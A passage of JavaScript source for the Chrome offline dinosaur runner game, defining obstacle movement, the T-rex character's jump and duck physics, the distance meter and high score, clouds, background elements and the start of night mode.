this.yPos = yPosConfig[getRandomNum(0, yPosConfig.length - 1)];
} else {
this.yPos = this.typeConfig.yPos;
}
this.draw();
// Make collision box adjustments,
// Central box is adjusted to the size as one box.
// ____ ______ ________
// _| |-| _| |-| _| |-|
// | |<->| | | |<--->| | | |<----->| |
// | | 1 | | | | 2 | | | | 3 | |
// |_|___|_| |_|_____|_| |_|_______|_|
//
if (this.size > 1) {
this.collisionBoxes[1].width = this.width - this.collisionBoxes[0].width -
this.collisionBoxes[2].width;
this.collisionBoxes[2].x = this.width - this.collisionBoxes[2].width;
}
// For obstacles that go at a different speed from the horizon.
if (this.typeConfig.speedOffset) {
this.speedOffset = Math.random() > 0.5 ? this.typeConfig.speedOffset :
-this.typeConfig.speedOffset;
}
this.gap = this.getGap(this.gapCoefficient, speed);
// Increase gap for audio cues enabled.
if (Runner.audioCues) {
this.gap *= 2;
}
},
/**
* Draw and crop based on size.
*/
draw() {
let sourceWidth = this.typeConfig.width;
let sourceHeight = this.typeConfig.height;
if (IS_HIDPI) {
sourceWidth = sourceWidth * 2;
sourceHeight = sourceHeight * 2;
}
// X position in sprite.
let sourceX =
(sourceWidth * this.size) * (0.5 * (this.size - 1)) + this.spritePos.x;
// Animation frames.
if (this.currentFrame > 0) {
sourceX += sourceWidth * this.currentFrame;
}
this.canvasCtx.drawImage(
this.imageSprite, sourceX, this.spritePos.y, sourceWidth * this.size,
sourceHeight, this.xPos, this.yPos, this.typeConfig.width * this.size,
this.typeConfig.height);
},
/**
* Obstacle frame update.
* @param {number} deltaTime
* @param {number} speed
*/
update(deltaTime, speed) {
if (!this.remove) {
if (this.typeConfig.speedOffset) {
speed += this.speedOffset;
}
this.xPos -= Math.floor((speed * FPS / 1000) * deltaTime);
// Update frame
if (this.typeConfig.numFrames) {
this.timer += deltaTime;
if (this.timer >= this.typeConfig.frameRate) {
this.currentFrame =
this.currentFrame === this.typeConfig.numFrames - 1 ?
0 :
this.currentFrame + 1;
this.timer = 0;
}
}
this.draw();
if (!this.isVisible()) {
this.remove = true;
}
}
},
/**
* Calculate a random gap size.
* - Minimum gap gets wider as speed increses
* @param {number} gapCoefficient
* @param {number} speed
* @return {number} The gap size.
*/
getGap(gapCoefficient, speed) {
const minGap = Math.round(
this.width * speed + this.typeConfig.minGap * gapCoefficient);
const maxGap = Math.round(minGap * Obstacle.MAX_GAP_COEFFICIENT);
return getRandomNum(minGap, maxGap);
},
/**
* Check if obstacle is visible.
* @return {boolean} Whether the obstacle is in the game area.
*/
isVisible() {
return this.xPos + this.width > 0;
},
/**
* Make a copy of the collision boxes, since these will change based on
* obstacle type and size.
*/
cloneCollisionBoxes() {
const collisionBoxes = this.typeConfig.collisionBoxes;
for (let i = collisionBoxes.length - 1; i >= 0; i--) {
this.collisionBoxes[i] = new CollisionBox(
collisionBoxes[i].x, collisionBoxes[i].y, collisionBoxes[i].width,
collisionBoxes[i].height);
}
},
};
//******************************************************************************
/**
* T-rex game character.
* @param {HTMLCanvasElement} canvas
* @param {Object} spritePos Positioning within image sprite.
* @constructor
*/
function Trex(canvas, spritePos) {
this.canvas = canvas;
this.canvasCtx =
/** @type {CanvasRenderingContext2D} */ (canvas.getContext('2d'));
this.spritePos = spritePos;
this.xPos = 0;
this.yPos = 0;
this.xInitialPos = 0;
// Position when on the ground.
this.groundYPos = 0;
this.currentFrame = 0;
this.currentAnimFrames = [];
this.blinkDelay = 0;
this.blinkCount = 0;
this.animStartTime = 0;
this.timer = 0;
this.msPerFrame = 1000 / FPS;
this.config = Object.assign(Trex.config, Trex.normalJumpConfig);
// Current status.
this.status = Trex.status.WAITING;
this.jumping = false;
this.ducking = false;
this.jumpVelocity = 0;
this.reachedMinHeight = false;
this.speedDrop = false;
this.jumpCount = 0;
this.jumpspotX = 0;
this.altGameModeEnabled = false;
this.flashing = false;
this.init();
}
/**
* T-rex player config.
*/
Trex.config = {
DROP_VELOCITY: -5,
FLASH_OFF: 175,
FLASH_ON: 100,
HEIGHT: 47,
HEIGHT_DUCK: 25,
INTRO_DURATION: 1500,
SPEED_DROP_COEFFICIENT: 3,
SPRITE_WIDTH: 262,
START_X_POS: 50,
WIDTH: 44,
WIDTH_DUCK: 59,
};
Trex.slowJumpConfig = {
GRAVITY: 0.25,
MAX_JUMP_HEIGHT: 50,
MIN_JUMP_HEIGHT: 45,
INITIAL_JUMP_VELOCITY: -20,
};
Trex.normalJumpConfig = {
GRAVITY: 0.6,
MAX_JUMP_HEIGHT: 30,
MIN_JUMP_HEIGHT: 30,
INITIAL_JUMP_VELOCITY: -10,
};
/**
* Used in collision detection.
* @enum {Array<CollisionBox>}
*/
Trex.collisionBoxes = {
DUCKING: [new CollisionBox(1, 18, 55, 25)],
RUNNING: [
new CollisionBox(22, 0, 17, 16),
new CollisionBox(1, 18, 30, 9),
new CollisionBox(10, 35, 14, 8),
new CollisionBox(1, 24, 29, 5),
new CollisionBox(5, 30, 21, 4),
new CollisionBox(9, 34, 15, 4),
],
};
/**
* Animation states.
* @enum {string}
*/
Trex.status = {
CRASHED: 'CRASHED',
DUCKING: 'DUCKING',
JUMPING: 'JUMPING',
RUNNING: 'RUNNING',
WAITING: 'WAITING',
};
/**
* Blinking coefficient.
* @const
*/
Trex.BLINK_TIMING = 7000;
/**
* Animation config for different states.
* @enum {Object}
*/
Trex.animFrames = {
WAITING: {
frames: [44, 0],
msPerFrame: 1000 / 3,
},
RUNNING: {
frames: [88, 132],
msPerFrame: 1000 / 12,
},
CRASHED: {
frames: [220],
msPerFrame: 1000 / 60,
},
JUMPING: {
frames: [0],
msPerFrame: 1000 / 60,
},
DUCKING: {
frames: [264, 323],
msPerFrame: 1000 / 8,
},
};
Trex.prototype = {
/**
* T-rex player initaliser.
* Sets the t-rex to blink at random intervals.
*/
init() {
this.groundYPos = Runner.defaultDimensions.HEIGHT - this.config.HEIGHT -
Runner.config.BOTTOM_PAD;
this.yPos = this.groundYPos;
this.minJumpHeight = this.groundYPos - this.config.MIN_JUMP_HEIGHT;
this.draw(0, 0);
this.update(0, Trex.status.WAITING);
},
/**
* Assign the appropriate jump parameters based on the game speed.
*/
enableSlowConfig: function() {
const jumpConfig =
Runner.slowDown ? Trex.slowJumpConfig : Trex.normalJumpConfig;
Trex.config = Object.assign(Trex.config, jumpConfig);
this.adjustAltGameConfigForSlowSpeed();
},
/**
* Enables the alternative game. Redefines the dino config.
* @param {Object} spritePos New positioning within image sprite.
*/
enableAltGameMode: function(spritePos) {
this.altGameModeEnabled = true;
this.spritePos = spritePos;
const spriteDefinition = Runner.spriteDefinition['TREX'];
// Update animation frames.
Trex.animFrames.RUNNING.frames =
[spriteDefinition.RUNNING_1.x, spriteDefinition.RUNNING_2.x];
Trex.animFrames.CRASHED.frames = [spriteDefinition.CRASHED.x];
if (typeof spriteDefinition.JUMPING.x == 'object') {
Trex.animFrames.JUMPING.frames = spriteDefinition.JUMPING.x;
} else {
Trex.animFrames.JUMPING.frames = [spriteDefinition.JUMPING.x];
}
Trex.animFrames.DUCKING.frames =
[spriteDefinition.RUNNING_1.x, spriteDefinition.RUNNING_2.x];
// Update Trex config
Trex.config.GRAVITY = spriteDefinition.GRAVITY || Trex.config.GRAVITY;
Trex.config.HEIGHT = spriteDefinition.RUNNING_1.h,
Trex.config.INITIAL_JUMP_VELOCITY = spriteDefinition.INITIAL_JUMP_VELOCITY;
Trex.config.MAX_JUMP_HEIGHT = spriteDefinition.MAX_JUMP_HEIGHT;
Trex.config.MIN_JUMP_HEIGHT = spriteDefinition.MIN_JUMP_HEIGHT;
Trex.config.WIDTH = spriteDefinition.RUNNING_1.w;
Trex.config.WIDTH_JUMP = spriteDefinition.JUMPING.w;
Trex.config.INVERT_JUMP = spriteDefinition.INVERT_JUMP;
this.adjustAltGameConfigForSlowSpeed(spriteDefinition.GRAVITY);
this.config = Trex.config;
// Adjust bottom horizon placement.
this.groundYPos = Runner.defaultDimensions.HEIGHT - this.config.HEIGHT -
Runner.spriteDefinition['BOTTOM_PAD'];
this.yPos = this.groundYPos;
this.reset();
},
/**
* Slow speeds adjustments for the alt game modes.
* @param {number=} opt_gravityValue
*/
adjustAltGameConfigForSlowSpeed: function(opt_gravityValue) {
if (Runner.slowDown) {
if (opt_gravityValue) {
Trex.config.GRAVITY = opt_gravityValue / 1.5;
}
Trex.config.MIN_JUMP_HEIGHT *= 1.5;
Trex.config.MAX_JUMP_HEIGHT *= 1.5;
Trex.config.INITIAL_JUMP_VELOCITY =
Trex.config.INITIAL_JUMP_VELOCITY * 1.5;
}
},
/**
* Setter whether dino is flashing.
* @param {boolean} status
*/
setFlashing: function(status) {
this.flashing = status;
},
/**
* Setter for the jump velocity.
* The approriate drop velocity is also set.
* @param {number} setting
*/
setJumpVelocity(setting) {
this.config.INITIAL_JUMP_VELOCITY = -setting;
this.config.DROP_VELOCITY = -setting / 2;
},
/**
* Set the animation status.
* @param {!number} deltaTime
* @param {Trex.status=} opt_status Optional status to switch to.
*/
update(deltaTime, opt_status) {
this.timer += deltaTime;
// Update the status.
if (opt_status) {
this.status = opt_status;
this.currentFrame = 0;
this.msPerFrame = Trex.animFrames[opt_status].msPerFrame;
this.currentAnimFrames = Trex.animFrames[opt_status].frames;
if (opt_status === Trex.status.WAITING) {
this.animStartTime = getTimeStamp();
this.setBlinkDelay();
}
}
// Game intro animation, T-rex moves in from the left.
if (this.playingIntro && this.xPos < this.config.START_X_POS) {
this.xPos += Math.round((this.config.START_X_POS /
this.config.INTRO_DURATION) * deltaTime);
this.xInitialPos = this.xPos;
}
if (this.status === Trex.status.WAITING) {
this.blink(getTimeStamp());
} else {
this.draw(this.currentAnimFrames[this.currentFrame], 0);
}
// Update the frame position.
if (!this.flashing && this.timer >= this.msPerFrame) {
this.currentFrame = this.currentFrame ==
this.currentAnimFrames.length - 1 ? 0 : this.currentFrame + 1;
this.timer = 0;
}
if (!this.altGameModeEnabled) {
// Speed drop becomes duck if the down key is still being pressed.
if (this.speedDrop && this.yPos === this.groundYPos) {
this.speedDrop = false;
this.setDuck(true);
}
}
},
/**
* Draw the t-rex to a particular position.
* @param {number} x
* @param {number} y
*/
draw(x, y) {
let sourceX = x;
let sourceY = y;
let sourceWidth = this.ducking && this.status !== Trex.status.CRASHED ?
this.config.WIDTH_DUCK :
this.config.WIDTH;
let sourceHeight = this.config.HEIGHT;
const outputHeight = sourceHeight;
let jumpOffset = Runner.spriteDefinition.TREX.JUMPING.xOffset;
// Width of sprite changes on jump.
if (this.altGameModeEnabled && this.jumping &&
this.status !== Trex.status.CRASHED) {
sourceWidth = this.config.WIDTH_JUMP;
}
if (IS_HIDPI) {
sourceX *= 2;
sourceY *= 2;
sourceWidth *= 2;
sourceHeight *= 2;
jumpOffset *= 2;
}
// Adjustments for sprite sheet position.
sourceX += this.spritePos.x;
sourceY += this.spritePos.y;
// Flashing.
if (this.flashing) {
if (this.timer < this.config.FLASH_ON) {
this.canvasCtx.globalAlpha = 0.5;
} else if (this.timer > this.config.FLASH_OFF) {
this.timer = 0;
}
}
// Ducking.
if (!this.altGameModeEnabled && this.ducking &&
this.status !== Trex.status.CRASHED) {
this.canvasCtx.drawImage(Runner.imageSprite, sourceX, sourceY,
sourceWidth, sourceHeight,
this.xPos, this.yPos,
this.config.WIDTH_DUCK, outputHeight);
} else if (
this.altGameModeEnabled && this.jumping &&
this.status !== Trex.status.CRASHED) {
// Jumping with adjustments.
this.canvasCtx.drawImage(
Runner.imageSprite, sourceX, sourceY, sourceWidth, sourceHeight,
this.xPos - jumpOffset, this.yPos, this.config.WIDTH_JUMP,
outputHeight);
} else {
// Crashed whilst ducking. Trex is standing up so needs adjustment.
if (this.ducking && this.status === Trex.status.CRASHED) {
this.xPos++;
}
// Standing / running
this.canvasCtx.drawImage(Runner.imageSprite, sourceX, sourceY,
sourceWidth, sourceHeight,
this.xPos, this.yPos,
this.config.WIDTH, outputHeight);
}
this.canvasCtx.globalAlpha = 1;
},
/**
* Sets a random time for the blink to happen.
*/
setBlinkDelay() {
this.blinkDelay = Math.ceil(Math.random() * Trex.BLINK_TIMING);
},
/**
* Make t-rex blink at random intervals.
* @param {number} time Current time in milliseconds.
*/
blink(time) {
const deltaTime = time - this.animStartTime;
if (deltaTime >= this.blinkDelay) {
this.draw(this.currentAnimFrames[this.currentFrame], 0);
if (this.currentFrame === 1) {
// Set new random delay to blink.
this.setBlinkDelay();
this.animStartTime = time;
this.blinkCount++;
}
}
},
/**
* Initialise a jump.
* @param {number} speed
*/
startJump(speed) {
if (!this.jumping) {
this.update(0, Trex.status.JUMPING);
// Tweak the jump velocity based on the speed.
this.jumpVelocity = this.config.INITIAL_JUMP_VELOCITY - (speed / 10);
this.jumping = true;
this.reachedMinHeight = false;
this.speedDrop = false;
if (this.config.INVERT_JUMP) {
this.minJumpHeight = this.groundYPos + this.config.MIN_JUMP_HEIGHT;
}
}
},
/**
* Jump is complete, falling down.
*/
endJump() {
if (this.reachedMinHeight &&
this.jumpVelocity < this.config.DROP_VELOCITY) {
this.jumpVelocity = this.config.DROP_VELOCITY;
}
},
/**
* Update frame for a jump.
* @param {number} deltaTime
*/
updateJump(deltaTime) {
const msPerFrame = Trex.animFrames[this.status].msPerFrame;
const framesElapsed = deltaTime / msPerFrame;
// Speed drop makes Trex fall faster.
if (this.speedDrop) {
this.yPos += Math.round(this.jumpVelocity *
this.config.SPEED_DROP_COEFFICIENT * framesElapsed);
} else if (this.config.INVERT_JUMP) {
this.yPos -= Math.round(this.jumpVelocity * framesElapsed);
} else {
this.yPos += Math.round(this.jumpVelocity * framesElapsed);
}
this.jumpVelocity += this.config.GRAVITY * framesElapsed;
// Minimum height has been reached.
if (this.config.INVERT_JUMP && (this.yPos > this.minJumpHeight) ||
!this.config.INVERT_JUMP && (this.yPos < this.minJumpHeight) ||
this.speedDrop) {
this.reachedMinHeight = true;
}
// Reached max height.
if (this.config.INVERT_JUMP && (this.yPos > -this.config.MAX_JUMP_HEIGHT) ||
!this.config.INVERT_JUMP && (this.yPos < this.config.MAX_JUMP_HEIGHT) ||
this.speedDrop) {
this.endJump();
}
// Back down at ground level. Jump completed.
if ((this.config.INVERT_JUMP && this.yPos) < this.groundYPos ||
(!this.config.INVERT_JUMP && this.yPos) > this.groundYPos) {
this.reset();
this.jumpCount++;
if (Runner.audioCues) {
Runner.generatedSoundFx.loopFootSteps();
}
}
},
/**
* Set the speed drop. Immediately cancels the current jump.
*/
setSpeedDrop() {
this.speedDrop = true;
this.jumpVelocity = 1;
},
/**
* @param {boolean} isDucking
*/
setDuck(isDucking) {
if (isDucking && this.status !== Trex.status.DUCKING) {
this.update(0, Trex.status.DUCKING);
this.ducking = true;
} else if (this.status === Trex.status.DUCKING) {
this.update(0, Trex.status.RUNNING);
this.ducking = false;
}
},
/**
* Reset the t-rex to running at start of game.
*/
reset() {
this.xPos = this.xInitialPos;
this.yPos = this.groundYPos;
this.jumpVelocity = 0;
this.jumping = false;
this.ducking = false;
this.update(0, Trex.status.RUNNING);
this.midair = false;
this.speedDrop = false;
this.jumpCount = 0;
},
};
//******************************************************************************
/**
* Handles displaying the distance meter.
* @param {!HTMLCanvasElement} canvas
* @param {Object} spritePos Image position in sprite.
* @param {number} canvasWidth
* @constructor
*/
function DistanceMeter(canvas, spritePos, canvasWidth) {
this.canvas = canvas;
this.canvasCtx =
/** @type {CanvasRenderingContext2D} */ (canvas.getContext('2d'));
this.image = Runner.imageSprite;
this.spritePos = spritePos;
this.x = 0;
this.y = 5;
this.currentDistance = 0;
this.maxScore = 0;
this.highScore = '0';
this.container = null;
this.digits = [];
this.achievement = false;
this.defaultString = '';
this.flashTimer = 0;
this.flashIterations = 0;
this.invertTrigger = false;
this.flashingRafId = null;
this.highScoreBounds = {};
this.highScoreFlashing = false;
this.config = DistanceMeter.config;
this.maxScoreUnits = this.config.MAX_DISTANCE_UNITS;
this.canvasWidth = canvasWidth;
this.init(canvasWidth);
}
/**
* @enum {number}
*/
DistanceMeter.dimensions = {
WIDTH: 10,
HEIGHT: 13,
DEST_WIDTH: 11,
};
/**
* Y positioning of the digits in the sprite sheet.
* X position is always 0.
* @type {Array<number>}
*/
DistanceMeter.yPos = [0, 13, 27, 40, 53, 67, 80, 93, 107, 120];
/**
* Distance meter config.
* @enum {number}
*/
DistanceMeter.config = {
// Number of digits.
MAX_DISTANCE_UNITS: 5,
// Distance that causes achievement animation.
ACHIEVEMENT_DISTANCE: 100,
// Used for conversion from pixel distance to a scaled unit.
COEFFICIENT: 0.025,
// Flash duration in milliseconds.
FLASH_DURATION: 1000 / 4,
// Flash iterations for achievement animation.
FLASH_ITERATIONS: 3,
// Padding around the high score hit area.
HIGH_SCORE_HIT_AREA_PADDING: 4,
};
DistanceMeter.prototype = {
/**
* Initialise the distance meter to '00000'.
* @param {number} width Canvas width in px.
*/
init(width) {
let maxDistanceStr = '';
this.calcXPos(width);
this.maxScore = this.maxScoreUnits;
for (let i = 0; i < this.maxScoreUnits; i++) {
this.draw(i, 0);
this.defaultString += '0';
maxDistanceStr += '9';
}
this.maxScore = parseInt(maxDistanceStr, 10);
},
/**
* Calculate the xPos in the canvas.
* @param {number} canvasWidth
*/
calcXPos(canvasWidth) {
this.x = canvasWidth - (DistanceMeter.dimensions.DEST_WIDTH *
(this.maxScoreUnits + 1));
},
/**
* Draw a digit to canvas.
* @param {number} digitPos Position of the digit.
* @param {number} value Digit value 0-9.
* @param {boolean=} opt_highScore Whether drawing the high score.
*/
draw(digitPos, value, opt_highScore) {
let sourceWidth = DistanceMeter.dimensions.WIDTH;
let sourceHeight = DistanceMeter.dimensions.HEIGHT;
let sourceX = DistanceMeter.dimensions.WIDTH * value;
let sourceY = 0;
const targetX = digitPos * DistanceMeter.dimensions.DEST_WIDTH;
const targetY = this.y;
const targetWidth = DistanceMeter.dimensions.WIDTH;
const targetHeight = DistanceMeter.dimensions.HEIGHT;
// For high DPI we 2x source values.
if (IS_HIDPI) {
sourceWidth *= 2;
sourceHeight *= 2;
sourceX *= 2;
}
sourceX += this.spritePos.x;
sourceY += this.spritePos.y;
this.canvasCtx.save();
if (IS_RTL) {
if (opt_highScore) {
this.canvasCtx.translate(
this.canvasWidth -
(DistanceMeter.dimensions.WIDTH * (this.maxScoreUnits + 3)),
this.y);
} else {
this.canvasCtx.translate(
this.canvasWidth - DistanceMeter.dimensions.WIDTH, this.y);
}
this.canvasCtx.scale(-1, 1);
} else {
const highScoreX =
this.x - (this.maxScoreUnits * 2) * DistanceMeter.dimensions.WIDTH;
if (opt_highScore) {
this.canvasCtx.translate(highScoreX, this.y);
} else {
this.canvasCtx.translate(this.x, this.y);
}
}
this.canvasCtx.drawImage(
this.image,
sourceX,
sourceY,
sourceWidth,
sourceHeight,
targetX,
targetY,
targetWidth,
targetHeight,
);
this.canvasCtx.restore();
},
/**
* Covert pixel distance to a 'real' distance.
* @param {number} distance Pixel distance ran.
* @return {number} The 'real' distance ran.
*/
getActualDistance(distance) {
return distance ? Math.round(distance * this.config.COEFFICIENT) : 0;
},
/**
* Update the distance meter.
* @param {number} distance
* @param {number} deltaTime
* @return {boolean} Whether the acheivement sound fx should be played.
*/
update(deltaTime, distance) {
let paint = true;
let playSound = false;
if (!this.achievement) {
distance = this.getActualDistance(distance);
// Score has gone beyond the initial digit count.
if (distance > this.maxScore && this.maxScoreUnits ==
this.config.MAX_DISTANCE_UNITS) {
this.maxScoreUnits++;
this.maxScore = parseInt(this.maxScore + '9', 10);
} else {
this.distance = 0;
}
if (distance > 0) {
// Achievement unlocked.
if (distance % this.config.ACHIEVEMENT_DISTANCE === 0) {
// Flash score and play sound.
this.achievement = true;
this.flashTimer = 0;
playSound = true;
}
// Create a string representation of the distance with leading 0.
const distanceStr = (this.defaultString +
distance).substr(-this.maxScoreUnits);
this.digits = distanceStr.split('');
} else {
this.digits = this.defaultString.split('');
}
} else {
// Control flashing of the score on reaching acheivement.
if (this.flashIterations <= this.config.FLASH_ITERATIONS) {
this.flashTimer += deltaTime;
if (this.flashTimer < this.config.FLASH_DURATION) {
paint = false;
} else if (this.flashTimer > this.config.FLASH_DURATION * 2) {
this.flashTimer = 0;
this.flashIterations++;
}
} else {
this.achievement = false;
this.flashIterations = 0;
this.flashTimer = 0;
}
}
// Draw the digits if not flashing.
if (paint) {
for (let i = this.digits.length - 1; i >= 0; i--) {
this.draw(i, parseInt(this.digits[i], 10));
}
}
this.drawHighScore();
return playSound;
},
/**
* Draw the high score.
*/
drawHighScore() {
if (parseInt(this.highScore, 10) > 0) {
this.canvasCtx.save();
this.canvasCtx.globalAlpha = .8;
for (let i = this.highScore.length - 1; i >= 0; i--) {
this.draw(i, parseInt(this.highScore[i], 10), true);
}
this.canvasCtx.restore();
}
},
/**
* Set the highscore as a array string.
* Position of char in the sprite: H - 10, I - 11.
* @param {number} distance Distance ran in pixels.
*/
setHighScore(distance) {
distance = this.getActualDistance(distance);
const highScoreStr = (this.defaultString +
distance).substr(-this.maxScoreUnits);
this.highScore = ['10', '11', ''].concat(highScoreStr.split(''));
},
/**
* Whether a clicked is in the high score area.
* @param {Event} e Event object.
* @return {boolean} Whether the click was in the high score bounds.
*/
hasClickedOnHighScore(e) {
let x = 0;
let y = 0;
if (e.touches) {
// Bounds for touch differ from pointer.
const canvasBounds = this.canvas.getBoundingClientRect();
x = e.touches[0].clientX - canvasBounds.left;
y = e.touches[0].clientY - canvasBounds.top;
} else {
x = e.offsetX;
y = e.offsetY;
}
this.highScoreBounds = this.getHighScoreBounds();
return x >= this.highScoreBounds.x && x <=
this.highScoreBounds.x + this.highScoreBounds.width &&
y >= this.highScoreBounds.y && y <=
this.highScoreBounds.y + this.highScoreBounds.height;
},
/**
* Get the bounding box for the high score.
* @return {Object} Object with x, y, width and height properties.
*/
getHighScoreBounds() {
return {
x: (this.x - (this.maxScoreUnits * 2) * DistanceMeter.dimensions.WIDTH) -
DistanceMeter.config.HIGH_SCORE_HIT_AREA_PADDING,
y: this.y,
width: DistanceMeter.dimensions.WIDTH * (this.highScore.length + 1) +
DistanceMeter.config.HIGH_SCORE_HIT_AREA_PADDING,
height: DistanceMeter.dimensions.HEIGHT +
(DistanceMeter.config.HIGH_SCORE_HIT_AREA_PADDING * 2),
};
},
/**
* Animate flashing the high score to indicate ready for resetting.
* The flashing stops following this.config.FLASH_ITERATIONS x 2 flashes.
*/
flashHighScore() {
const now = getTimeStamp();
const deltaTime = now - (this.frameTimeStamp || now);
let paint = true;
this.frameTimeStamp = now;
// Reached the max number of flashes.
if (this.flashIterations > this.config.FLASH_ITERATIONS * 2) {
this.cancelHighScoreFlashing();
return;
}
this.flashTimer += deltaTime;
if (this.flashTimer < this.config.FLASH_DURATION) {
paint = false;
} else if (this.flashTimer > this.config.FLASH_DURATION * 2) {
this.flashTimer = 0;
this.flashIterations++;
}
if (paint) {
this.drawHighScore();
} else {
this.clearHighScoreBounds();
}
// Frame update.
this.flashingRafId =
requestAnimationFrame(this.flashHighScore.bind(this));
},
/**
* Draw empty rectangle over high score.
*/
clearHighScoreBounds() {
this.canvasCtx.save();
this.canvasCtx.fillStyle = '#fff';
this.canvasCtx.rect(this.highScoreBounds.x, this.highScoreBounds.y,
this.highScoreBounds.width, this.highScoreBounds.height);
this.canvasCtx.fill();
this.canvasCtx.restore();
},
/**
* Starts the flashing of the high score.
*/
startHighScoreFlashing() {
this.highScoreFlashing = true;
this.flashHighScore();
},
/**
* Whether high score is flashing.
* @return {boolean}
*/
isHighScoreFlashing() {
return this.highScoreFlashing;
},
/**
* Stop flashing the high score.
*/
cancelHighScoreFlashing() {
if (this.flashingRafId) {
cancelAnimationFrame(this.flashingRafId);
}
this.flashIterations = 0;
this.flashTimer = 0;
this.highScoreFlashing = false;
this.clearHighScoreBounds();
this.drawHighScore();
},
/**
* Clear the high score.
*/
resetHighScore() {
this.setHighScore(0);
this.cancelHighScoreFlashing();
},
/**
* Reset the distance meter back to '00000'.
*/
reset() {
this.update(0, 0);
this.achievement = false;
},
};
//******************************************************************************
/**
* Cloud background item.
* Similar to an obstacle object but without collision boxes.
* @param {HTMLCanvasElement} canvas Canvas element.
* @param {Object} spritePos Position of image in sprite.
* @param {number} containerWidth
* @constructor
*/
function Cloud(canvas, spritePos, containerWidth) {
this.canvas = canvas;
this.canvasCtx =
/** @type {CanvasRenderingContext2D} */ (this.canvas.getContext('2d'));
this.spritePos = spritePos;
this.containerWidth = containerWidth;
this.xPos = containerWidth;
this.yPos = 0;
this.remove = false;
this.gap =
getRandomNum(Cloud.config.MIN_CLOUD_GAP, Cloud.config.MAX_CLOUD_GAP);
this.init();
}
/**
* Cloud object config.
* @enum {number}
*/
Cloud.config = {
HEIGHT: 14,
MAX_CLOUD_GAP: 400,
MAX_SKY_LEVEL: 30,
MIN_CLOUD_GAP: 100,
MIN_SKY_LEVEL: 71,
WIDTH: 46,
};
Cloud.prototype = {
/**
* Initialise the cloud. Sets the Cloud height.
*/
init() {
this.yPos = getRandomNum(Cloud.config.MAX_SKY_LEVEL,
Cloud.config.MIN_SKY_LEVEL);
this.draw();
},
/**
* Draw the cloud.
*/
draw() {
this.canvasCtx.save();
let sourceWidth = Cloud.config.WIDTH;
let sourceHeight = Cloud.config.HEIGHT;
const outputWidth = sourceWidth;
const outputHeight = sourceHeight;
if (IS_HIDPI) {
sourceWidth = sourceWidth * 2;
sourceHeight = sourceHeight * 2;
}
this.canvasCtx.drawImage(Runner.imageSprite, this.spritePos.x,
this.spritePos.y,
sourceWidth, sourceHeight,
this.xPos, this.yPos,
outputWidth, outputHeight);
this.canvasCtx.restore();
},
/**
* Update the cloud position.
* @param {number} speed
*/
update(speed) {
if (!this.remove) {
this.xPos -= Math.ceil(speed);
this.draw();
// Mark as removeable if no longer in the canvas.
if (!this.isVisible()) {
this.remove = true;
}
}
},
/**
* Check if the cloud is visible on the stage.
* @return {boolean}
*/
isVisible() {
return this.xPos + Cloud.config.WIDTH > 0;
},
};
/**
* Background item.
* Similar to cloud, without random y position.
* @param {HTMLCanvasElement} canvas Canvas element.
* @param {Object} spritePos Position of image in sprite.
* @param {number} containerWidth
* @param {string} type Element type.
* @constructor
*/
function BackgroundEl(canvas, spritePos, containerWidth, type) {
this.canvas = canvas;
this.canvasCtx =
/** @type {CanvasRenderingContext2D} */ (this.canvas.getContext('2d'));
this.spritePos = spritePos;
this.containerWidth = containerWidth;
this.xPos = containerWidth;
this.yPos = 0;
this.remove = false;
this.type = type;
this.gap =
getRandomNum(BackgroundEl.config.MIN_GAP, BackgroundEl.config.MAX_GAP);
this.animTimer = 0;
this.switchFrames = false;
this.spriteConfig = {};
this.init();
}
/**
* Background element object config.
* Real values assigned when game type changes.
* @enum {number}
*/
BackgroundEl.config = {
MAX_BG_ELS: 0,
MAX_GAP: 0,
MIN_GAP: 0,
POS: 0,
SPEED: 0,
Y_POS: 0,
MS_PER_FRAME: 0, // only needed when BACKGROUND_EL.FIXED is true
};
BackgroundEl.prototype = {
/**
* Initialise the element setting the y position.
*/
init() {
this.spriteConfig = Runner.spriteDefinition.BACKGROUND_EL[this.type];
if (this.spriteConfig.FIXED) {
this.xPos = this.spriteConfig.FIXED_X_POS;
}
this.yPos = BackgroundEl.config.Y_POS - this.spriteConfig.HEIGHT +
this.spriteConfig.OFFSET;
this.draw();
},
/**
* Draw the element.
*/
draw() {
this.canvasCtx.save();
let sourceWidth = this.spriteConfig.WIDTH;
let sourceHeight = this.spriteConfig.HEIGHT;
let sourceX = this.spriteConfig.X_POS;
const outputWidth = sourceWidth;
const outputHeight = sourceHeight;
if (IS_HIDPI) {
sourceWidth *= 2;
sourceHeight *= 2;
sourceX *= 2;
}
this.canvasCtx.drawImage(
Runner.imageSprite, sourceX, this.spritePos.y, sourceWidth,
sourceHeight, this.xPos, this.yPos, outputWidth, outputHeight);
this.canvasCtx.restore();
},
/**
* Update the background element position.
* @param {number} speed
*/
update(speed) {
if (!this.remove) {
if (this.spriteConfig.FIXED) {
this.animTimer += speed;
if (this.animTimer > BackgroundEl.config.MS_PER_FRAME) {
this.animTimer = 0;
this.switchFrames = !this.switchFrames;
}
if (this.spriteConfig.FIXED_Y_POS_1 &&
this.spriteConfig.FIXED_Y_POS_2) {
this.yPos = this.switchFrames ? this.spriteConfig.FIXED_Y_POS_1 :
this.spriteConfig.FIXED_Y_POS_2;
}
} else {
// Fixed speed, regardless of actual game speed.
this.xPos -= BackgroundEl.config.SPEED;
}
this.draw();
// Mark as removable if no longer in the canvas.
if (!this.isVisible()) {
this.remove = true;
}
}
},
/**
* Check if the element is visible on the stage.
* @return {boolean}
*/
isVisible() {
return this.xPos + this.spriteConfig.WIDTH > 0;
},
};
//******************************************************************************
/**
* Nightmode shows a moon and stars on the horizon.
* @param {HTMLCanvasElement} canvas
* @param {number} spritePos
* @param {number} containerWidth
* @constructor
*/
function NightMode(canvas, spritePos, containerWidth) {
this.spritePos = spritePos;
this.canvas = canvas;
this.canvasCtx =
/** @type {CanvasRenderingContext2D} */ (canvas.getContext('2d'));
this.xPos = containerWidth - 50;
this.yPos = 30;
this.currentPhase = 0;
this.opacity = 0;
this.containerWidth = containerWidth;
this.stars = [];
this.drawStars = false;
this.placeStars();
}
/**
* @enum {number}
*/
NightMode.config = {
FADE_SPEED: 0.035,
HEIGHT: 40,
MOON_SPEED: 0.25,
NUM_STARS: 2,
STAR_SIZE: 9,
STAR_SPEED: 0.3,
STAR_MAX_Y: 70,
WIDTH: 20,
};
NightMode.phases = [140, 120, 100, 60, 40, 20, 0];
NightMode.prototype = {
/**
* Update moving moon, changing phases.
* @param {boolean} activated Whether night mode is activated.
*/
update(activated) {
// Moon phase.
if (activated && this.opacity === 0) {
this.currentPhase++;
if (this.currentPhase >= NightMode.phases.length) {
this.currentPhase = 0;
}
}
